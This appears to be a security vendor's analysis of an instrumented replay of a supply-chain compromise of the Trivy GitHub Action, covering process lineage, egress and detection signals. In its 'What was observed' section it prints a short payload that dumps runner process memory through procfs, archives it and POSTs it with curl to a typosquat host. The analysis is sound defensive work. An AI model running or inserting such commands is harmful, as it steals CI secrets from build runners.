aquasecurity/trivy-action invocation in jadoonf/trivy-threat-research, run 23612133106. The Trivy scan completed with exit code 0; the same job tree carries a sibling bash branch that read /proc/<pid>/mem and reached scan.aquasecurtiy[.]org. The runtime lineage is what holds both branches in one artifact.Public reporting documents the technique — aquasecurity/trivy-action tags were rewritten to ship an entrypoint.sh that read runner memory through procfs and posted the AES/RSA-encrypted archive to a typosquat host (Aqua). The run below is a Garnet-instrumented replay of that technique; the focus from here is what the record contains.
Execution lineage
Run 23612133106 · jadoonf/trivy-threat-research
TeamPCP Attack Replay (Garnet Instrumented)
The lineage shows two branches in one workflow tree. The expected branch runs entrypoint.sh and reaches check.trivy.dev for scanner traffic. A sibling shell branch reaches scan.aquasecurtiy[.]org in the same run — a procfs-reading path that diverges from normal Trivy behavior. Both branches are concurrent, not sequential, so logs from only one branch can look clean.
Assertions flagged
This profile is a Garnet-instrumented replay of the TeamPCP technique. The egress check on this specific run returned pass against the replay's allowlist; the typosquat destination shows up in the lineage but did not trigger a flag on this replay's profile. The class of check that would catch the original scan.aquasecurtiy[.]org outbound on an unrestricted runner is the canonical egress check (no_bad_egress_domain).
What was observed
Process ancestry. Two branches under the runner shell. The Trivy branch follows the expected entrypoint.sh → trivy shape. The sibling branch carries the procfs-reading path: a bash child under the runner reads /proc/<runner_worker_pid>/mem, archives the result, and reaches the typosquat host. The technique class on the original campaign:
# Observed payload class in compromised Trivy runs
cat /proc/<runner_worker_pid>/mem > /tmp/tpcp.mem
tar -czf /tmp/tpcp.tar.gz /tmp/tpcp.mem
curl -X POST https://scan.aquasecurtiy[.]org --data-binary @/tmp/tpcp.tar.gzOn the same ancestry the record carries interpreter_shell_spawn (the sibling bash branch under the runner), exec_from_unusual_dir and hidden_elf_exec (staging from /tmp and paths outside the runner's working tree), environ_read_from_procfs and the related code_modification_through_procfs class for the /proc/<pid>/mem reads, and data_encoder_exec (the tar -czf archive built immediately before the curl -X POST).
Network. The sibling branch reaches scan.aquasecurtiy[.]org over TCP — a typosquat outside the expected Trivy egress shape. The expected destinations on the Trivy branch (check.trivy.dev, Azure Blob endpoints, GitHub Actions infrastructure) are also present in the record. Across the broader campaign, python3.12 also reached Internet Computer boundary and canister endpoints (*.icp0.io); the lineage in this replay does not carry that branch.
File / memory access. The procfs reads against /proc/<runner_worker_pid>/mem and the subsequent tar archive under /tmp are both visible on the sibling ancestry. The Trivy branch's filesystem activity covers scanner caches and report output and is otherwise unremarkable.
Notable absences. No binary_self_deletion on the sibling branch — the staged binary stayed on disk. The Trivy branch produced a clean exit code and unremarkable log output throughout; the kernel record is what holds the sibling branch alongside it.
Analysis
The interesting property of this record is co-existence: a green-exit Trivy scan and a procfs-reading sibling branch under one workflow tree, indistinguishable to anything reading exit codes or log output. The record holds both in one artifact, attributed to the same run.
Garnet records process ancestry, file access, and network egress straight from the kernel for every workflow run by the Garnet GitHub Action. Sibling-branch behavior, procfs reads, and outbound destinations show up in the same artifact — even when the headline step exits green.
More field notes: Checkmarx KICS · TanStack runtime profiles · Axios.
